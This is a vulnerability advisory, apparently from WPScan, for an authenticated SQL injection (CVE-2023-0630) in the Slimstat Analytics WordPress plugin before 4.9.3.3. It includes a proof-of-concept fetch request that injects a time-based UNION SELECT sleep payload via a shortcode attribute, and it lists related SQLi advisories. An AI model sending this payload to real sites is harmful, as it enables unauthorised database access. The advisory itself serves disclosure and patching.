Slimstat Analytics < 4.9.3.3 – Subscriber+ SQL Injection | CVE 2023-0630 | Plugin Vulnerabilities

Description

The plugin does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.

Proof of Concept

While logged in as a subscriber, send the following request:

(await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 UNION SELECT sleep(10)-- a[/slimstat]'})).text()

If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

Affects Plugins

Fixed in 4.9.3.3

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Marc Montpas

Submitter

Marc Montpas

Submitter website

https://wpscan.com

Submitter twitter

Verified

Yes

WPVDB ID

b82bdd02-b699-4527-86cc-d60b56ab0c55

Timeline

Publicly Published

2023-02-27 (about 2 years ago)

Added

2023-02-27 (about 2 years ago)

Last Updated

2023-02-27 (about 2 years ago)

Other

Published

Title

Published

2024-07-08

Title

Houzez CRM < 1.4.3 - Authenticated (Seller+) SQL Injection

Published

2014-08-01

Title

Count per Day < 3.0 - SQL Injection

Published

2014-08-01

Title

WPtouch 1.9.8 - include/submit.php Multiple Parameter SQL Injection

Published

2023-08-10

Title

Fusion Builder < 3.11.2 - Subscriber+ SQL injection and broken access control vulnerability in Critical CSS

Published

2025-02-18

Title

LTL Freight Quotes – SEFL Edition < 3.2.5 - Unauthenticated SQL Injection